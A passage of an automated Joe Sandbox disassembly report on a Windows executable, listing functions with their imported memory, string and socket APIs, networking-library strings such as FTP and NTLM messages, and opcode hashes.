Part of subcall function 00007FF6029F4BA0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029F1635), ref: 00007FF6029F4C22

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F4CC6

Strings

HTTP, xrefs: 00007FF6029F4C4A
NTLM, xrefs: 00007FF6029F4C7E, 00007FF6029F4D30

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: HTTP$NTLM
API String ID: 2190258309-4188377180
Opcode ID: 310f2fedebf3abff2b969a8b9fc04d504a9c657355cef8b5efcc27c4b5982e0a
Instruction ID: 3a8ec4bab7c8c6d860288e4a4ccd593ca430de31c3f466d1ea3b7e5e00c3251b
Opcode Fuzzy Hash: 310f2fedebf3abff2b969a8b9fc04d504a9c657355cef8b5efcc27c4b5982e0a
Instruction Fuzzy Hash: 8E613D32608B8282E7A08F16E45066B7BA4FF88B98F645135EF8D83B59DF7CD454CB00

Function 00007FF6029E234B Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E2400

Strings

ABOR, xrefs: 00007FF6029E24FB
Remembering we are in dir "%s", xrefs: 00007FF6029E2498
control connection looks dead, xrefs: 00007FF6029E25F2
Failure sending ABOR command: %s, xrefs: 00007FF6029E2521

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$Remembering we are in dir "%s"$control connection looks dead
API String ID: 1294909896-1891748601
Opcode ID: 3d884a203d83090ffe62485e98734a21a80b1e97f8e935cdd0b74f8328bf0181
Instruction ID: 997b9cabab491a0756b9d5800592423c774ec001c729cf815a238d8427a30938
Opcode Fuzzy Hash: 3d884a203d83090ffe62485e98734a21a80b1e97f8e935cdd0b74f8328bf0181
Instruction Fuzzy Hash: F451B372E0C68282EF65D72291503B96A54BF8176CF640635DEAD876C3EFFCE4858341

Function 00007FF6029FA645 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA688
memcpy.VCRUNTIME140 ref: 00007FF6029FA6AE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA77B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: TRUE
API String ID: 3401966785-3412697401
Opcode ID: fdcb7d946d6f4c56cd4cb5e04898495fa3908ca8b450039cfbc1a8853e139c9d
Instruction ID: f3a7cb23c271059a3e1ef0bb51dcc7ce0be6b61e19bb5a20dcd6d77a41d6696a
Opcode Fuzzy Hash: fdcb7d946d6f4c56cd4cb5e04898495fa3908ca8b450039cfbc1a8853e139c9d
Instruction Fuzzy Hash: A3414962F5965245FBC58A1785643762FA2EF01BF8F244631EA6EC73C6DDACE085C300

Function 00007FF6029F7B63 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 125COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7E99

Strings

Start Date: %s, xrefs: 00007FF6029F7E87
Start Date, xrefs: 00007FF6029F7E6D
GMT, xrefs: 00007FF6029F7C1E
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF6029F7C91

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Start Date: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Start Date
API String ID: 1294909896-619256714
Opcode ID: cbf92bcd6793aa72cc27dffd8c02a67c1b3a20357b17b1339ed423fd338160e3
Instruction ID: 15a380cf1155f4e997edffe0b76473a99add09e0fda3a69dd461ab60a7fc1a09
Opcode Fuzzy Hash: cbf92bcd6793aa72cc27dffd8c02a67c1b3a20357b17b1339ed423fd338160e3
Instruction Fuzzy Hash: D7510361A4C6D284EBE08B5694041FABFA5FF02789F644436EA8DD6B96DFBCE541C300

Function 00007FF6029F9959 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F999C
memcpy.VCRUNTIME140 ref: 00007FF6029F99C2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9A99
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F9B06

Strings

%s: %s, xrefs: 00007FF6029F9AF1

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: %s: %s
API String ID: 3401966785-1451338302
Opcode ID: 8aa29f4585f255ba029eea63333c217ccd840dd140264be9fd03b8a32fc64a91
Instruction ID: d70d26e35de0de268d3e1eccabb94d28f6f52f3bab016b358b97ca75d413cebf
Opcode Fuzzy Hash: 8aa29f4585f255ba029eea63333c217ccd840dd140264be9fd03b8a32fc64a91
Instruction Fuzzy Hash: 83414A11A493D146FBE88A1790143BA5F91AF41BE4F24423ADE6F877C6DE5CD085C300

Function 00007FF6029F882E Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: 550720ba448e89e296b3177c9229f94ff39cbd34f470cd30af1fe67ce97d91dd
Instruction ID: a89978d9c827334cd0a4954c79eb5d567c166b920b254b63a2cd9bd75a85dd2a
Opcode Fuzzy Hash: 550720ba448e89e296b3177c9229f94ff39cbd34f470cd30af1fe67ce97d91dd
Instruction Fuzzy Hash: EB217166B08AC286EB908B26E4442AA6760FF44BECF280532DE5D97796DF7CD141C700

Function 00007FF6029E28A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E296B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E2984
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E2998

Strings

QUIT, xrefs: 00007FF6029E28CF
Failure sending QUIT command: %s, xrefs: 00007FF6029E28F3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1294909896-1162443993
Opcode ID: 33393fb904642c3d0dcdb626aeb8b9e9c3a7be83ef8c359fc7733d2ec1a96521
Instruction ID: 061cda556b882e66835c388e741e50ef243501bb92eb420bc99d7cf0b08f97cb
Opcode Fuzzy Hash: 33393fb904642c3d0dcdb626aeb8b9e9c3a7be83ef8c359fc7733d2ec1a96521
Instruction Fuzzy Hash: 32314B32E0878281EB90CF26D5903B92BA4FF85B88F685031DE8E87656DFACD051C311

Function 00007FF6029D94A0 Relevance: 7.6, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C5880), ref: 00007FF6029D94D5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C5880), ref: 00007FF6029D94EA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C5880), ref: 00007FF6029D94FF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C5880), ref: 00007FF6029D952C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029C5880), ref: 00007FF6029D9535
memcpy.VCRUNTIME140(?,?,?,00007FF6029C5880), ref: 00007FF6029D9569

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$calloc$memcpy
String ID:
API String ID: 3478730034-0
Opcode ID: 625087e8469335b8afc7a4f200c7716dbfac2a474bdbc393e31681353d0923a6
Instruction ID: 4aa9132aa466740b869cd5b8f8b6ca09f631fecd0376035f477a8a113a68180c
Opcode Fuzzy Hash: 625087e8469335b8afc7a4f200c7716dbfac2a474bdbc393e31681353d0923a6
Instruction Fuzzy Hash: DA21B071A08B8286E710DF22942022A7AA4FF49BE8F244234DE9E9B795DF7CD540C700

Function 00007FF6029E8710 Relevance: 7.6, APIs: 5, Instructions: 62stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E8741
strchr.VCRUNTIME140 ref: 00007FF6029E876D
strchr.VCRUNTIME140 ref: 00007FF6029E8784
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029E87A3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupmalloc
String ID:
API String ID: 4236146995-0
Opcode ID: a40886b6908e31578bfd8f82542a965f67959f0adae9ad5dfc49a1b18558c2a1
Instruction ID: f19da7184924086850f90c87e4bde6f032c3c9ba57de446fa51212945b3d1669
Opcode Fuzzy Hash: a40886b6908e31578bfd8f82542a965f67959f0adae9ad5dfc49a1b18558c2a1
Instruction Fuzzy Hash: 93218C72A16B8681EF81CB2290543A927E1FF89B98F1C0034CE5D8B759FF69E490C720

Function 00007FF6029F7CF4 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7D2F
memcpy.VCRUNTIME140 ref: 00007FF6029F7D55
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F7E99

Strings

Start Date: %s, xrefs: 00007FF6029F7E87
Start Date, xrefs: 00007FF6029F7E6D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: freemallocmemcpy
String ID: Start Date: %s$Start Date
API String ID: 3056473165-2389359183
Opcode ID: 82de22af3ff35828c09ee91c655910ca68ad529a7f34232fa4e9f3a269013407
Instruction ID: fd00babf1fe0221f0ded2c4f615bbdfe88e62700a156aa650ca357da94b69311
Opcode Fuzzy Hash: 82de22af3ff35828c09ee91c655910ca68ad529a7f34232fa4e9f3a269013407
Instruction Fuzzy Hash: 0F21F165A0838245EFE58B1285142F66E92BF15BECF284536DD1E8B6E6EEBCA5448300

Function 00007FF6029F85C8 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Signature: %s$Signature
API String ID: 2190258309-1663925961
Opcode ID: 39f8e22e6010466b82858a205a4893210a525d4427fd0ac6815d1becb6796e30
Instruction ID: d2fba3e1b3600ca3df29932694e0fc79361a7e0d44b340ad29caac684ef8d44c
Opcode Fuzzy Hash: 39f8e22e6010466b82858a205a4893210a525d4427fd0ac6815d1becb6796e30
Instruction Fuzzy Hash: 6D215162A08B8286EBE0CB26E4542BB6B60FF85B8CF640432DE4D97756DE7CD141C700

Function 00007FF6029F8606 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029F9110: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F915C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: fdad2967fd82f3e3d00c658805d2c6cd49370dd863365039cb22b4e2afd20a66
Instruction ID: a8be89d7dc00c87e4e08bcdcd3d5663a74e6f39437e6849475d51c361634e627
Opcode Fuzzy Hash: fdad2967fd82f3e3d00c658805d2c6cd49370dd863365039cb22b4e2afd20a66
Instruction Fuzzy Hash: 82213066B08B8286EBA0CB26E4542EB6764FF85B8CF640432DE4D9775ADF7CE145C700

Function 00007FF6029F85E0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6029FAC20: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FAC55

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C

Part of subcall function 00007FF6029C0B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C0BA2

Strings

Signature: %s, xrefs: 00007FF6029F89F7
Signature, xrefs: 00007FF6029F89DF

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: malloc$free
String ID: Signature: %s$Signature
API String ID: 1480856625-1663925961
Opcode ID: 71971b022ae8657752d3f71a5c925b7cafabf4b199b24d0758c8f45fcc128391
Instruction ID: 4bf2549cb51d8b48b48e1d3e53e1584dbaa75936b110e1578621e9d18e946565
Opcode Fuzzy Hash: 71971b022ae8657752d3f71a5c925b7cafabf4b199b24d0758c8f45fcc128391
Instruction Fuzzy Hash: 34215062A08B8286EBA0CB26E4542EB6764FF85B8CF240432DE4D9771ADF7CD141C700

Function 00007FF6029BB510 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF6029BB9B3
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00007FF6029BB9C7
CloseHandle.KERNEL32 ref: 00007FF6029BB9D4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF6029BB9F6
closesocket.WS2_32 ref: 00007FF6029BBA14
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000000), ref: 00007FF6029BBA2D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: CriticalSectionfree$CloseEnterHandleLeaveclosesocket
String ID:
API String ID: 469868127-0
Opcode ID: cdaac871417b2815011e1e24f7daa236251f8bef380f81fe0f9f7e20ce8ad1ed
Instruction ID: e2552407bcf11cb5457f57317692840dd3cd5113f2640b82550db918b538cd73
Opcode Fuzzy Hash: cdaac871417b2815011e1e24f7daa236251f8bef380f81fe0f9f7e20ce8ad1ed
Instruction Fuzzy Hash: 8B11FB36A08B4186E7219F53E6942297B70FF89B98F244131DF8D83B55DFB9E4A5C700

Function 00007FF6029B3550 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46stringCOMMON

Download Yara Rule

APIs

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF6029B2E89), ref: 00007FF6029B37EF

Strings

No data record of requested type, xrefs: 00007FF6029B37D3
Host not found, try again, xrefs: 00007FF6029B37E5
Unrecoverable error in call to nameserver, xrefs: 00007FF6029B37DC
Host not found, xrefs: 00007FF6029B37B8

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: strncpy
String ID: Host not found$Host not found, try again$No data record of requested type$Unrecoverable error in call to nameserver
API String ID: 3301158039-3625861382
Opcode ID: c676b4948ad8de873c01a31b3ac823a8978589e2fd7550f958a9477d6e004ffe
Instruction ID: 2da14f8c778796701007a661618b993913d3d04703acd73074b0c2d29285b015
Opcode Fuzzy Hash: c676b4948ad8de873c01a31b3ac823a8978589e2fd7550f958a9477d6e004ffe
Instruction Fuzzy Hash: 7F11ECA1E1C64391EF5AC71AF6D42781E90DF0578CF7851B1D60E86A96DDECF5C08304

Function 00007FF6029FA305 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029FA32B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029FA7CF

Strings

TRUE, xrefs: 00007FF6029FA7D9
FALSE, xrefs: 00007FF6029FA320

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree
String ID: FALSE$TRUE
API String ID: 1865132094-1412513891
Opcode ID: bf6eb78e637c81cfb17562e742971b14b543e94c4e502e08d1207421d1d34735
Instruction ID: 532f9ab437a51c2b05da54396c79361df6479f7de92b6dbdcec4f3e27a7268f2
Opcode Fuzzy Hash: bf6eb78e637c81cfb17562e742971b14b543e94c4e502e08d1207421d1d34735
Instruction Fuzzy Hash: F541C362B4935684FFD58A67902437A2FA1AF057ACF644532EF5DC63C6DEAEE0418200

Function 00007FF6029EC350 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99networkCOMMON

